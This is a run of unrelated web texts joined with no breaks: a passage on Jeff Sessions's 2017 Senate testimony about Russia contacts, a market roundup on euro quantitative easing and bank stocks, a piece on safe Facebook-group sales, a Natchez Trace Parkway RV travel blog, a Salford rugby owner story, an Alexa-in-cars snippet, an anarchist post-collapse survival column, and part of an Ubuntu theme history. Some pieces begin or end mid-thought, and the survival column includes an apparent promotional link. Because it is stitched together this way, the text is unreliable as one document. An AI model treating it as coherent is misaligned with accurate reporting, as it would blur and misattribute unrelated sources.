That's one of Sessions' key objectives on Tuesday: to explain those reports, which some are already saying are more than just reports.
"They've intercepted some contacts between Kislyak and his people," Sen. Al Franken, D-Minn., said Monday night. "Kislyak may have been exaggerating the meeting, you know, because he wanted to look important."
Another series of questions are developing that Democrats could ask today, which are aimed at determining whether Sessions played any role in firing Comey. Some say if he played any role at all, that could be seen as a violation of his pledge to recuse himself from all issues related to the campaign since Comey had been investigating Russia's effort to meddle in the election.
Others want to know whether Sessions remembers an incident that Comey testified to last week when he said Trump asked to be alone with Comey. In that meeting, Comey said, Trump encouraged him to drop the investigation into national security adviser Mike Flynn.
"Did Trump ask him to leave him with Comey?" Rep. Adam Schiff, D-Calif., the top Democrat on the House Intelligence Committee, tweeted Monday night in a list of key questions he wants answered. "Did Comey urge him not to do so again? Did he disclose all contacts w Russians?"
Key Qs for Sessions: Did Trump ask him to leave him w Comey? Did Comey urge him not to do so again? Did he disclose all contacts w Russians? — Adam Schiff (@RepAdamSchiff) June 12, 2017
Those latter questions could be difficult for Sessions. Confirming Comey's accounting of events would likely add some real distance in his relationship with Trump, but rejecting Comey's version of events would be even more shocking since it would effectively be testimony saying the ousted FBI director lied under oath.
One possible way out for Sessions is to tell the Senate that executive privilege bars him from answering questions about his private discussions with Trump. But while that may protect the president, it could put Sessions in a precarious position.
Dawn Johnsen, who worked at the Office of Legal Counsel from 1993 to 1998 and served as acting Assistant Attorney General from 1997 to 1998, said failing to answer clearly will raise real questions about whether he can continue to do his job.
"He needs to speak directly to the American people ... to reassure he's fulfilling his primary responsibility: To uphold the rule of law," Johnsen, now a professor at the Maurer School of Law and Indiana University in Bloomington, told the Washington Examiner.
"Executive branch officials need to be very openly willing... to start doing their job," Johnsen said, adding, "Stand up to Trump and get him to follow the law. No president is above the law."
She also said it was "outrageous" that Sessions reportedly left Comey in the room with Trump alone, at Trump's request, when he should have stayed with Comey.
David Golove, a constitutional and international law professor at New York University Law, agreed that the pressure on Sessions to protect Trump will be immense.
"What about his relationship with Trump? Does he want to save his own reputation?" said Golove. "Doubtful that... he will move away from Trump."
But Golove said Sessions at least needs to clarify his reported third meeting with Kislyak and said it would look bad if he doesn't "correct himself correctly."
After his confirmation hearing in which Sessions did not reveal he met with Kislyak, the attorney general corrected his Senate testimony to say had two such meetings, but only in the context of his job as a senator.
1. Europe’s quantitative easing
European Central Bank President Mario Draghi announced on Thursday the bank will begin a massive bond-purchasing program to help stimulate economic growth by lowering the value of the common currency, which would support exports.
The purchase of 60 billion euros a month will begin in March. But one of the underlying problems with the common currency is that the 19 member countries have varying economic policies, which lead to the type of imbalance that could cause Greece to make efforts to leave the euro if the Syriza party wins elections on Sunday. Sara Sjolin discussed five crucial things to know about the snap Greek elections.
If neither the Syriza party nor the conservative New Democracy wins a majority, there are several other contenders that could play kingmaker, depending on which one ranks third.
Even though Greece’s economy is one of the smallest in the eurozone, the elections are important because of the potential disruption to the common currency.
The rising dollar and higher value (and lower yield) of 10-year U.S. Treasury notes TMUBMUSD10Y, -0.34% reflect investors’ flight to safety amid all the uncertainty over the euro. Investors also crave German government bonds, and that country’s central bank offered an annual coupon of 0% on a $5 billion euro bond issue on Tuesday.
2. How to play the weaker euro
The euro EURUSD, +0.0176% fell to its lowest level against the dollar in 11 years on Friday, which wasn’t very surprising in light of the ECB’s announcement.
Two weeks ago, we published a list of 15 European companies that would benefit from a weaker euro because they derive a large portion of sales in the United States.
Michael Gayed explained this week why the European Central Bank’s quantitative easing bodes well for U.S. stocks.
3. Dividend stocks shine
With long-term interest rates declining during 2014 and again so far this year, yield-hungry investors need to continue looking for investment alternatives. Here’s a list of 20 dividend stocks that have raised their payouts to shareholders for at least 25 consecutive years.
4. What about the dollar?
With the ECB’s massive bond purchases, along with political uncertainty and a slowing economy threatening the value of the euro, all signs point to continued strength for the U.S. dollar.
But Michael Brush believes investors need to start thinking about the dollar’s eventual decline. He calls the current situation a “crowded trade,” because it is difficult to find anyone “who isn’t bullish on the dollar.” He recommends betting the other way, and provided several ways to play the dollar’s eventual decline.
5. And what about the Fed?
The Federal Reserve ended its massive “QE3” bond purchases last year. There was plenty of speculation that the end of the bond buying would cause long-term interest rates in the U.S. to rise. The opposite happened, with the yield on 10-year U.S. Treasury bonds dropping by 87 basis points in 2014, and declining another 27 basis points through Thursday’s close, at 1.90%.
The Fed has kept the short-term federal funds rate in a range of zero to 0.25% since late 2008 and is expected to begin raising the rate, which is traditionally its key policy tool, in the middle of 2015.
Most banks are eager to see the federal funds rate rise, as it will lead to an expansion of net interest margins.
Steve Goldstein discussed that the lowering of interest rates by central banks outside the United States is making it seem “almost ludicrous” for the Fed to raise rates by the middle of this year.
But Jon Hilsenrath thinks the Fed is still “on track” to raise rates this year.
5. China’s markets rumble
China’s National Bureau of Statistics said on Monday that the nation’s economy grew 7.4% during 2014, which was the slowest growth rate in 24 years.
Craig Stephen discussed the pressure on China’s currency, and the ECB’s move helped cause the yuan USDCNY, -0.0030% to slide against the dollar on Thursday and Friday.
Laura He summed up analysts’ sentiment: China’s economy looks weak, but China’s stocks look better.
6. Oil is a mixed bag
Crude oil CLH5, +0.00% for March delivery was trading just above $46 a barrel Friday, down 1% from a week earlier, after the Energy Information Administration said U.S. inventories had hit their highest levels in 80 years.
The drop in oil prices is a mixed bag for the United States. Yes, I can fill my tank for less than $2 a gallon, but thousands of workers will lose their jobs this year, as domestic companies in the hydraulic business cut their production-expansion plans.
Wallace Witkowski said that if oil were to drop below $30 a barrel, we would looking at a global recession.
According to J.J. Zhang, you can still cash in on the collapse in crude oil, with various ETF investments.
William Watts highlighted a big hedge-fund winner from oil’s decline.
7. Financial stocks’ ups and downs
Banks are one of the weakest sectors of the S&P 500 Index SPX, -0.08% this year, down 6% through Thursday. Fourth-quarter earnings results for the largest banks have been generally disappointing, as net interest margins continue to be squeezed and the biggest players continue to work to cut elevated expenses as loan quality continues to improve.
Here’s a summary of earnings estimates, stock valuations and analyst opinion for the “big four” U.S. banks, J.P. Morgan Chase & Co. JPM, -0.76% Bank of America Corp. BAC, +0.07% Citigroup Inc. C, -0.64% and Wells Fargo & Co. WFC, -0.14%
This week’s biggest loser among large banks was Discover Financial Services DFS, -0.37% with the stock dropping 6% on Thursday after the company reported a decline in fourth-quarter earnings, mainly resulting from non-recurring expenses, but also reflecting a boost to loan-loss reserves. The company’s return on equity for the fourth quarter was 14%, although it would have been close to 20% if the one-time items were excluded.
The timing of Discover’s bad quarter was unfortunate, following the company’s inclusion in Jeff Reeves’ three financial stocks that will soon be trading at higher prices on Wednesday, and after I said late last year that Discover was your best bank-stock bet for 2015.
But the fact remains that Discover’s stock trades much more cheaply on a forward price-to-earnings basis than any other bank with consistent returns on equity anywhere near as high. Among the largest 30 U.S. banks, Discover’s stock has returned 351% over the past five years. No other big bank even comes close. Huntington Bancshares Inc. HBAN, -0.69% is in second place, with a five-year return of 137%.
Here’s my case for why the best financial stock just got a lot more attractive.
8. Housing market
With the national average interest rate of just 2.94% for a 15-year fixed-rate mortgage loan and 3.84% for a 30-year fixed, banks are expecting a surge of loan applications and home-buying this year. If you are shopping for a home, be sure to make a comparison between a 15-year and a 30-year loan. If you can afford the monthly payment on the 15-year loan, you will build equity much faster, while saving tens of thousands in interest payments over the life of the loan. Plus, you get out 15 years faster. And if you don’t plan to stay in the home for that long, you will at least have a much easier time making a move, because of the higher equity you will have built up.
You might even consider buying “less house” or holding on to an older car to afford the 15-year loan. It pays to insist on a full comparison of the two loan types, including total interest paid over the life of the loan.
According to Jeff Reeves, “all the data we are getting continues to show strength both in demand and in prices” for homes in the United States. Here are his 10 reasons housing will remain buoyant in 2015.
9. Renting vs. buying
Here’s an age-old question: Should you rent a home or buy one? It depends. Isn’t that a helpful answer?
Catey Hill caused quite a stir, with the $700,000-plus mistake nearly 6 in 10 millennials may make, in which she discussed the advantages of buying over renting. This led to emotional arguments among readers, who left over 300 comments.
10. Travel
MarketWatch travel articles usually accentuate the positive by identifying places you should consider visiting and offer tips on how to get there without breaking your wallet.
This week’s focus turned negative, with Catey Hill discussing the odds your cruise vacation might go horribly wrong.
They said it's all because of horror stories like a Georgia couple murdered after trying to buy a vintage car, or the Colorado woman whose baby was cut out of her after answering a Craigslist ad for baby items.
They're deadly stories that are tough to forget. That's why Julia Goodman, who said she loves to get a good deal, has turned to Facebook.
"I've bought shoes, I've sold jewelry, an aquarium and a stand and I've sold lots of clothes," Goodman said.
There are local Facebook groups for buying and selling just about anything you can think of. Goodman said once she realized she could use the social media website to do all that, she dove right in.
"You have to actually join in order to participate and see all the different things that are being sold, or the things that people are searching for," Goodman said. "I stumbled across it somehow and instantly I got hooked."
Lisa Jero is an administrator for a Facebook group and she says from an admin's perspective, Facebook is a whole lot safer.
"You can't put a face with Craigslist, you can't put a general location with where they are," said Jero. "For example, before I add people to a group, I look to see if they're in Central Florida, or if they have anything crazy on their wall."
She said those kinds of precautions are meant to help keep people safe.
"I don't care if you're hungry, I don't care if you're wanting to buy a Michael Kors purse -- your safety is the most important thing," Jero said.
Just because you can see a little bit more about people doesn't mean you should let your guard down.
Jero and Goodman both recommend that if you're buying on any online site, no matter what you think you about about the buyer or seller:
Don't go anywhere at night
Make sure you meet in a public place
If you're planning on having someone pick up a large or big ticket item at your own house, make sure you're not alone
In many cases, you can actually meet in the parking lots of local law enforcement offices
"You really have to use your head," said Goodman. "It could be just as dangerous as any other site that you would go to."
To help protect yourself if you are considering a transaction with a Facebook Group, here are some steps to take:
In any given group, administrators will be listed. You can send them a private message to check and see if there is anyone you should be on the look out for or if there is anything you should know about.
If you experience a bad transaction, you can let them know. Often, they'll warn other people in the group.
Once you're in the group and ready to begin buying or selling, administrators said one of the biggest things to look out for are fake profiles. They said people who have fake profiles often (but not always) use cartoons or celebrity photos in place of regular profile pictures.
But we stayed close to our extended family, and it was always a priority to visit them. It goes without saying that road treks from Texas to Canada are long and involved. In my memory, they were times filled with interesting and educational stops (we were home schooled–education bled into every moment of life), beloved family memories, and dips in mountain springs to stay sane…because it wasn’t until high school that our vehicles had air conditioning!
Children are impressionable, no more so than when parental opinions are involved. This phenomenon has been an incredible blessing in my life because my parents are amazing human beings. Their likes, dislikes and beliefs have influenced my life in countless ways–big and small. Love for the Natchez Trace Parkway is one of their legacies. It was part of our family road trips whenever we were anywhere nearby on our route north.
But we never traveled the whole thing. So when Eric and I bought Meriwether and started planning the first leg of our journey, the Natchez Trace Parkway in its entirety was added to our bucket list. Mile marker 0 to 444–we wanted to drive every mile!
Introduction to the Natchez Trace Parkway
Every American should be familiar with the Natchez Trace Parkway. It’s 444 miles of rich history, from Natchez, MS in the south to just shy of Nashville, TN in the north. Casual observers would note that it’s a two-lane road with a speed limit of 50 mph at the most, twisty in parts. They might mention that there are no gas stations, hotels or other businesses of any kind directly on the parkway.
The right sort of person will view these casual observations with relish. The opportunity to slow down and observe this beautiful country, no eyesores allowed, is a treasure.
If the sirens are already calling to you, we’ll dig a little deeper. The Natchez Trace Parkway was first a Native American pathway, with archaeological evidence dating back 10,000 years. In the early 1800s, it served a vital role as a road home for Kaintucks, men who floated down the Mississippi with goods to sell, sold their boats as lumber and then walked hundreds of miles back north. The advent of the steamboat would change all this, but in the meantime, “stands” were developed up and down the Natchez Trace to put a one-night roof over travelers’ weary heads.
Slaves were sold, soldiers were buried, a nationally-known explorer killed himself, all surrounded by the most beautiful landscape and natural formations…and some not-so-natural formations. With so many stories to be told (and the drama I’ve mentioned is only scratching the surface), it’s no wonder the Daughters of the American Revolution started erecting explanatory markers and signs at different sites along the parkway.
How to Travel the Parkway
Your trip on the Natchez Trace Parkway can be flexible. Travel as many miles as you like; stop as many times as you like. Hopefully our journey chronicled here will serve as an example that will help you decide what you want to see and where you can stay along the way.
A few resources you should be familiar with:
National Park Service website
NatchezTraceTravel.com
The NPS maps, which are available in one amazing brochure that you can pick up at many convenient stops along the way (including at Mount Locust near the south end of the Parkway). The brochure includes a map of the entire Parkway and a list of every stop along the way, with a short description. The NPS kindly suggests the most important highlights, for those with limited time.
Natchez, MS: Mile Marker 0
After a day-long drive from Arlington, TX (not recommended), we arrived at our launching off point for the Natchez Trace journey: Natchez State Park.
I look back on our week there with immense fondness. Our RV adventure was still so new. We were still complete RV babies. The sound of the woodpeckers in the trees was a sweet and fresh delight. We had an early chance to learn to smile at our quirky neighbors, rather than resent them (“Evil Knievel,” obviously a long-time resident, was never quite done working on that truck, and the ear-shattering test drives were part of the process).
To this day, Natchez State Park is still one of my favorite places we’ve stayed since we started full-timing. Call me sentimental!
As for our adventures, we jumped in with both feet.
Pig Out Inn
This Texas girl can’t recommend Pig Out Inn in good conscience–the meat just didn’t pass muster–but perhaps you’re not so highstrung in your BBQ opinions?
Walking by the Mississippi
The food may not be the best, but Pig Out Inn’s location was perfect for an early evening stroll through Natchez, MS. The restaurant is a mere block from the riverfront, and that “Old Man River” was calling to me.
Forks of the Road
During our week at Natchez State Park, we visited the historic Forks of the Road. This site is no more than an empty lot now, but detailed plaques tell a sobering story of the injustice that took place right under our feet before 1863 when Union troops arrived.
Fat Mama’s Tamales
Another dinner out found us at Fat Mama’s Tamales. “Knock You Naked” margarita, ham and cheese poboy and–of course–tamales. Eric had good things to say about his poboy, and I enjoyed the bite I had. The tamales left something to be desired…or maybe I was just thrown off that they were served with crackers.
Crackers and tamales? Is that a Deep South thing? We were mystified.
Under the Hill Saloon
One of the highlights of our week was the opportunity to meet the crew of Tales From the Mutiny: the marvelous Lynn and Clark. The conversation was stimulating, and we heard of so many adventures that we couldn’t wait to keep going with our own!
Lynn and Clark introduced us to Under the Hill Saloon. I can’t resist quoting the saloon’s home page:
“Now there is one place on Silver Street that is in business for YOUR pleasure and that is –UNDER THE HILL SALOON! You won’t find cheap whiskey, but you will find the beverage of your choice…You won’t find illicit love, but you may fall in love…And there is no more gambling, but there’s always entertainment…Sometimes a rinky tink piano, or a jazz band will play…”Pretzel” the chicken is usually on hand, and there are old photos, artifacts, riverboat models and river memorabilia to interest most anyone…Or just sit and watch the river roll by…”
Ghosts gush from the walls of this place, and the locals gathering out front know where to find one of the best vistas in town.
Biscuits & Blues
Drinks are nice, but the four of us got hungry! We squeaked into Biscuits & Blues before closing, and I think we were all quite pleased with our meals.
I’m a huge sucker for biscuits, and I made a point of trying some of Biscuits & Blues’ apricot butter (which was ah-may-zing). I believe I ended up ordering Pete’s Smokin’ Chicken for my meal, and it was a rather large meal for one person. Seriously. That was half a chicken.
What did we miss in Natchez that we wish we’d had a chance to see? I heard great things about Melrose Plantation and would’ve liked to tour it. Actually, the Spring Pilgrimage was going on during our visit. We passed for budgetary reasons, but it looked like an awesome event!
Natchez, MS –> Rocky Springs: Mile Markers 0-54.8
Emerald Mound
10.3. Our first stop on the parkway, Emerald Mound, was less than three miles from Natchez State Park. The drizzling rain couldn’t keep us away as we hiked the second largest mound in North America. It’s 770 by 435 feet at the base, and 35 feet high. This ritual site for the American Indians was created and used between 1250 and 1730 A.D.
Mount Locust
15.5. Remember the “stands” I mentioned, where Natchez Trace travelers could stop and spend the night before moving on? Well, Mount Locust is the only stand still standing. Tour the house and stroll the grounds, where you’ll find a cemetery and brick kiln.
Windsor Ruins
30.0. Though Windsor Ruins isn’t right on the parkway, it’s well worth the short detour. This sprawling mansion burned down in 1890, but not before being used as a Civil War hospital and observation site. Some say that Mark Twain visited, and you may have seen the ruins in a movie or two. To get there from the parkway, take Mississippi Highway 552 at milepost 30, then go west and follow the signs.
Old Country Store and Restaurant
Before you rejoin the parkway, stop at Old Country Store and Restaurant in Lorman, MS. Trust me, you’ll remember your visit for a long time.
When you first walk in, you may wonder what you stumbled into and consider leaving. The shelves are filled with items most would consider worthless. And, at first glance, the cafeteria-style buffet may bring back memories of middle school.
Live large. Fill your plate, take a seat and be amazed by the excellent fried chicken, southern biscuits and other southern delicacies.
While you’re eating, Mr. D himself may stop by your table. He is one of the most amazing people I’ve ever met. His business on the way to nowhere is his pride and joy. A smile constantly illuminates his features, as his personality draws you in and forces you to lower your defenses.
If you’re lucky, he’ll serenade you as you eat. We were treated to an Oldies tune and couldn’t help but chime in. Meet this man while you have the chance. He’s an exceptional human being.
Old Country Store and Restaurant is located at 18801 U.S. 61 in Lorman, MS. Turn left out of Windsor Ruins. After about a mile, continue onto MS-552. Before 10 miles, turn right onto US-61. It’ll be on your right in a mile.
Just to be safe, call ahead to make sure they’ll be open: (601) 437-3661.
Sunken Trace
41.5. It’s a quick jog to get back to the Natchez Trace Parkway from Old Country Store and Restaurant. At milepost 41.5, you’ll want to stop and see the Sunken Trace.
This is your first chance to experience the Old Trace, trod over the centuries by Indians, Kaintucks and soldiers from the War of 1812. As you walk along the eroded land, allow your imagination to run wild. Ghosts surround you.
Rocky Springs
54.8. You may want to stop at Rocky Springs Campground for a night, like we did. There are no hookups and we had no Internet connectivity (Verizon/AT&T), but there are clean bathhouses and the area is secluded and peaceful. The campground is free, with no reservations available.
Whether you stay to camp or not, make sure you visit the historical town of Rocky Springs, settled before the turn of the 19th century. Eric and I really enjoyed our leisurely walk through the area. The informational signage provided a fascinating look into the history of the area and provided a lot of fodder for conversation.
Detour: Vicksburg National Military Park
60.0ish. We left the parkway again at MS-27, before milepost 60, for the half-hour drive to Vicksburg, MS. The town of Vicksburg charmed us and made us want to return later (which we did; see our Captain’s Logs here and here). But on this first visit, we only had time to see Vicksburg National Military Park.
President Lincoln referred to Vicksburg as the key to the South during the Civil War. The Union’s epic siege there ended up being the turning point of the war.
When you visit, make sure you go through the U.S.S. Cairo Museum. This ironclad ship represents a unique part of our country’s naval history, and you’ll be able to walk up, down and through the restored vessel!
Rocky Springs –> Natchez Trace RV Park: 54.8-251ish
Cypress Swamp
122.0. Driving right past Jackson, MS, we meandered along the two-way parkway until we reached the other-worldly Cypress Swamp. This ecological playground holds a trail through a forest of water tupelo and bald cypress trees. Watch for alligators!
French Camp and Council House Cafe
180.7. Depending on your interest level and schedule, you could spend a day at French Camp. This historic district features a variety of 1800s-era buildings, including homes, a carriage house, a sorghum mill and a blacksmith shop. There’s also a gift shop and cafe. You’ll enjoy learning all the history associated with this area.
Pigeon Roost
203.5. There isn’t much to see here, and that’s the problem. Pull your vehicle over to read the sign, then continue on your journey.
Natchez Trace RV Park
250.0ish. Between milepost 250 and 255, we exited at County Road 506 to stay at Natchez Trace RV Park. This is a quiet campground, perfect for a one- or two-night stay as you travel the parkway.
Tupelo, MS
260.0ish. Less than 10 miles north of Natchez Trace RV Park, Tupelo waits to be explored. We grabbed dinner at Johnnie’s Drive-In (908 E. Main St.). Johnnie’s is known as an Elvis haunt–before his days of fame–and the dough burger.
This is a small joint. But if you get there when it isn’t too busy, you might be able to sit in the Elvis Booth.
Order one Depression-era dough burger to share. You probably won’t care for it, but this bite out of history will cause you to appreciate everything we have today.
Elvis Presley Birthplace is located nearby (306 Elvis Presley Drive). We just walked around the grounds, read the signs and took photos. If you’re a big Elvis fan, you’ll probably want to make time to see the museum, too.
Natchez Trace RV Park –> Red Bay, AL: 251ish-302ish
Chickasaw Village Site
261.8. You’re standing on what used to be a Chickasaw Indian village with multiple dwelling places and a fort. Though this archaeological site has been reduced to a field, walk around and you’ll find outlines of a winter home, summer home and the fort on the ground. Trailheads for a short nature trail and the Natchez Trace National Scenic Trail are here.
Confederate Gravesites
269.4. Thirteen unknown Confederate soldiers lie buried here, on the Old Trace. As with many places along the parkway, a short stroll under a canopy of aged trees offers an opportunity to reflect on our nation’s history and imagine what life was like then.
Pharr Mounds
286.7. As you pull into the parking lot at Pharr Mounds, stop to count the eight artificial hills laid out across the sprawling field. These mounds are older than Emerald Mound, built between 1 and 200 A.D.
Red Bay, AL –> Tishomingo State Park: 302ish-304.5
295.0ish. For Tiffin owners, Natchez Trace Parkway provides a scenic route to the factory and service center in Red Bay, AL. In fact, the small town of Red Bay is a mere 12 miles off the parkway! We stopped at Tiffin for a week or so to get some work done, which we’ve chronicled in another article.
By the way, even if you’re not a Tiffin owner, the factory tour is pretty cool.
303.0ish. We left Red Bay late on our day of departure, and only had time to relocate to Tishomingo State Park. We absolutely loved this beautiful campground, especially in contrast to the dirt parking lot we had just stayed in for a week!
Don’t miss the magical Swinging Bridge when you visit. But beware: this campground is barely big rig friendly. To date, it’s the tightest squeeze we’ve had with Meriwether (who is 40 feet long).
Tishomingo State Park –> Northern Terminus: 304.5-444
Cave Spring
308.4. It’s the final leg of our journey up the parkway! As we walked the nature trail, I almost fell into Cave Spring and Eric had to pull me out. Whew!
Colbert Ferry
327.3. Before you take the bridge across the Tennessee River, the Colbert Ferry site provides a beautiful photo opportunity–especially if you’re there at sunset.
We visited during an overcast midday, but that didn’t stop us from imagining the entrepreneurial George Colbert charging Andrew Jackson $75,000 to ferry the Tennessee army across the river. What a sight that must have been!
Meriwether Lewis Site
385.9. Our RV is named after Meriwether Lewis, of Lewis and Clark fame. Lewis led an amazing life, completing a two-year expedition through wilderness to the Pacific Northwest by the time he was 32 years old. When he returned, he was made governor of the Upper Louisiana Territory.
Unfortunately, Lewis died along the Natchez Trace Parkway three years later, under mysterious conditions. Most historians have concluded that his gunshot wounds were self-inflicted, for reasons we can only guess at now.
Today, a humble memorial marks Lewis’ grave, near the cabin where his death occurred. I often wonder what Lewis would have accomplished, had he lived a full life. Although, I suppose “full” is open to interpretation. He lived more life in 35 years than most of us ever will.
Fall Hollow
391.9. There are a number of waterfalls along Natchez Trace Parkway, but Fall Hollow is my favorite. I love taking the walkway over the stream that rushes towards the narrow incline. Depending on the time of year and whether rain has made the trail wet, you can carefully hike down to the base of the fall for a completely different view.
Tobacco Farm
401.4. Tobacco Farm displays a tobacco farm from the early 1900s. A short trail leads you to an old barn where tobacco hangs from the timbers.
I’ll never forget the moment when Eric and I walked out of the barn and looked over the hills and fields in front of us. We thought to ourselves, “We’re really doing it.” It was still surreal that we had taken the leap to fulltime RVing. In that moment, we realized that our dreams were coming true. The drastic lifestyle change was already allowing us to make memories we never would have otherwise.
Jackson Falls
404.7. The trail at Jackson Falls is one of the most popular along the parkway. It is a moderately strenuous hike, but well worth it. Jackson Falls is named after Andrew Jackson.
Leiper’s Fork
428.0. Hungry yet? Exit the parkway onto Tennessee Highway 46 and go east to the village of Leiper’s Fork! A short drive will lead you to this pleasant Registered National Historic District, with shops, restaurants, and bed and breakfasts.
Puckett’s Grocery is our meal pick. Everything is good. Eric loves the burgers, and I love the mashed potatoes! If you’re lucky, you’ll get to hear live acoustic music while you dine. Walk off your meal with a stroll down the street to see the various boutique shops.
At this point, you’re only 45 minutes from the center of Nashville.
Believe it or not, these are only the highlights of our 444-mile drive up the parkway. There are many more sights to see, all outlined in the map you’ll receive from the National Park Service. Choose the locations that interest you most. But, above all, prepare yourself for a slow, scenic drive. Interstates can never offer you an experience like this.
I am so glad we began our fulltime RV adventure with such an amazing trip. Though some of our travels between then and now have blurred together, the Natchez Trace Parkway is etched in my mind. I highly recommend that you see all or some of it during your own travels.
If you have any questions about logistics, let me know in a comment!
Salford Red Devils owner Marwan Koukash
Salford owner Marwan Koukash says he is not walking away from the club and is bringing in Australia coach Tim Sheens to advise the club.
The multi-millionaire racehorse owner sparked speculation about his future with the Red Devils following the 52-6 defeat by St Helens in their opening home Super League match of the season by tweeting: "I have had enough".
But Koukash insists he remains fully committed to the club and says the position of head coach Iestyn Harris is not under threat and he will be given "additional resources" if necessary.
Koukash, who invested between £3million and £4million in his first two years in charge, also revealed his plans to bring Sheens over from Australia to provide him with advice and help put new structures in place.
St Helens thrashed Salford 52-6 last Thursday St Helens thrashed Salford 52-6 last Thursday
On his famous tweet, Koukash said: "I don't want to discuss that publicly. I discussed it with my boys this morning. We had a great meeting and whatever was discussed in house is going to stay private.
"I'm not walking out on the club. We're going to come out fighting. I'm going to work harder and if Iestyn wants additional resources he will have them at his disposal.
"And also a friend of mine will be visiting me soon, to look around the club and give me his opinion. I'm not the most experienced person in rugby league – I've only been in the sport for three years – and sometimes I need extra help.
"That friend is Tim Sheens, who will visit me for three weeks and advise me on various bits and pieces and help put some systems and structures into the club."
Koukash, a regular visitor to Australia, says he expects Sheens to arrive for a pre-arranged visit by the end of the month and insists his presence will not threaten the position of Harris.
Putting Alexa in the coveted shotgun seat should represent a serious improvement over existing voice-controlled systems -- Volvo is trying to do the same with Cortana -- but car manufacturers first have to ally themselves with the OpenCar platform. In other words, we've no idea which cars Alexa might end up riding in. Before Inrix snapped it up, OpenCar was working with Mazda, so that's one potential customer.
If you want to survive, and I cannot express this strongly enough, you should not go run and hide in your little isolated cabin somewhere by yourself or with five of your friends!(Unless there are zombies.) If you simply retreat and wait for the world to right itself, you’re a coward and not even a very bright one; if you leave all of the work to other people, things aren’t going to come out so pretty. It is this sort of cowardice, this individualistic gusto, that arguably got us into this trouble in the first place. If you stand idly by and watch a fascistic army take control, you will, in the end, die. If you don’t try to organize with people to kickstart a permacultured agriculture to feed people, you will, in the end, die. If you live with two other people and never see another living soul again in your life? You might survive, but you might very well wish you hadn’t. When your appendix ruptures and whoops you forgot that your brother isn’t a surgeon? You will die.
Like it or not, humans are social animals. Our best hope to stay alive, and furthermore, to thrive, after an apocalyptic event is to discover social solutions.
Staying in settled areas can be dangerous too, of course. Hunger does monstrous things to people. But in most apocalyptic literature there’s this assumption that everyone else will join “roving gangs” that pillage the survivors. This will only happen if we let it. We’ve been told by civilization, with its specialized class of rulers and politicians, that we can’t organize ourselves. This is nonsense. Organization isn’t something that we simply get placed into without willing it. Power isn’t something that simply gets used against us. Power is something that we all have, as individuals and most importantly as groups. For example, there’s no reason we can’t form roving gangs that travel around and teach permaculture, medical, and post-civilization organization the survivors instead.
There’s no reason we can’t organize with our neighbors, pool what resources we’re willing to share, and begin immediately to grow food, develop a shared culture, and defend ourselves against the people who try to take it away from us.
And who knows? Maybe industrial civilization will collapse before we hit chain-reaction levels of carbon release. Maybe peak oil will save us from obliterating most all life on earth. Or maybe enough people will wisen up and begin to actively dismantle the industrial civilization that is killing us as surely as an axe might. What then?
Two things: rewilding and community rescue.
Rewilding
Rewilding is the process of turning what is domesticated back into something that is wild. The first thing, the very first thing that honestly we should be doing right now, regardless of law, is tearing up pavement and helping the forest return. Some road infrastructure might come in handy, of course, but there is plenty of space that quite obviously—to the post-civilized—would be better left feral. And every road carved through the forest in essence cuts the forest into two distinct areas. This is most easily observed by getting out of your car and walking a few meters into the trees; only the outside of a healthy forest is a tangled thicket. The inside is quite roomy.
Nature will reclaim territory at its own pace, but in some areas it makes sense to help it along. Desertification is real and it’s scary and it’s something that humanity has been doing for millennia before the industrial revolution. Even with careful replanting, tree farms often last only a few cycles before the soil is too depleted to sustain life. The more that science learns about forest ecology, the more we learn that we’re better off leaving forests to fend for themselves.
I would argue, and I’m not alone, that global reforestation at a rapid pace is one of the only chances we have of preventing our climate from going completely out control. But mostly, we need to let the wilderness encroach back towards us for its own sake. Anthropocentric ideas—that is, ideas that take humanity and its “needs” as an absolute priority—are another of the many elements that led us down this foolish road we’ve called civilization.
It’s astounding, this haughtiness that has allowed humanity to see nature as so inconsequential that we permit coal companies to literally level entire mountain ranges (see mountaintop removal coal-mining in the Appalachian mountains). The fact that we don’t rise in anger against such monstrous acts shows just how domesticated, how tame we’ve become.
As much as we need to rewild huge tracts of the earth, we need to rewild most everything within ourselves.
Community Rescue
After the collapse, much of the infrastructure of our global society will of course have fallen. And those in power will try their hardest to stay in power. But if we organize for ourselves and our communities, the existing governmental and corporate structures may be simply rendered obsolete.
Humans, by nature (yes, yes, we can argue forever about what is and isn’t human nature, but this is my column) work together in times of crisis. When things go wrong, the status quo of isolation is suspended. This is easily observed by waiting for the bus: you stand and wait and no one speaks with anyone else. But as soon as the bus is ten minutes late, everyone is friends.
When Hurricane Katrina hit New Orleans in 2005, people organized collectively to loot food. The government showed up a few days later and started shooting people. And the bureaucratic aid organizations were so bloated and inefficient that some members of the National Guard, their humanity showing through their uniform, smuggled supplies to the anarchist Common Ground Collective. They did it because they knew that the anarchists would actually get medicine to where it was needed.
People always talk about how without the government we’d all just kill one another, but most often the only killing that happens in a crisis is done by the government as it aims to maintain law and order, the civilized status quo, at all costs. (The next bogeyman strawman that anti-anarchists will pull out is Somalia, but Somalia doesn’t lack for governments; it’s full of warlords.)
So our role is simply to help these organic communities foster, the same as we might help forests retake Walmart parking lots. We need to organize in our local areas to meet people’s needs: food, water, shelter, medical care, and culture. And we’ll need to fight against the remnants of civilization as it tries to reassert its might.
Most survival guides focus on the nuts and bolts of individual survival: how to filter your water, how to store food, how to construct shelters out of whatever one might find. These books are useful, and it’s worth keeping a few around.
A lot of my friends keep what some people call “oh shit gear,” or OSG for short. Water purification systems, canned food, topographic maps of the area. Medical kits, with an emphasis on antibiotics and any prescription medicines one might need. Spare eyeglasses. Gas masks and air filters. Protective clothing. These things are worth having around.
At least one group, the Aftershock Action Alliance of New York City, is doing community, grassroots disaster preparedness. They work with their neighbors to develop plans of how the neighborhood can work together to survive catastrophe. They teach workshops on community rescue.
It’s only on the social scale that we can defend ourselves from famine, illness, and warlords. And it’s there that we need to focus. You can find more unbelievable facts and some expert tips to prevent the disastrous events post collapse on usdeception.com
Article first appeared in Alan Moore’s Dodgem Logic
Ubuntu's distinctive brown look dates back to the very first version of the distribution, which was released in 2004. Although the style has evolved considerably since then and new colors like orange gradually gained a foothold in the desktop palette, brown has been the dominant color of Ubuntu's default themes for the past five years.
Canonical began discussing the possibility of a major visual refresh in 2007 during the development of Ubuntu 8.04, the last major long-term support release. At the time, Canonical's art team was thinking about adopting a darker look with a black and orange color scheme, but the theme concept was abandoned and never implemented. Although the idea of a major visual refresh was resurrected and discussed again during the development process of several subsequent Ubuntu versions, it hasn't happened until now.
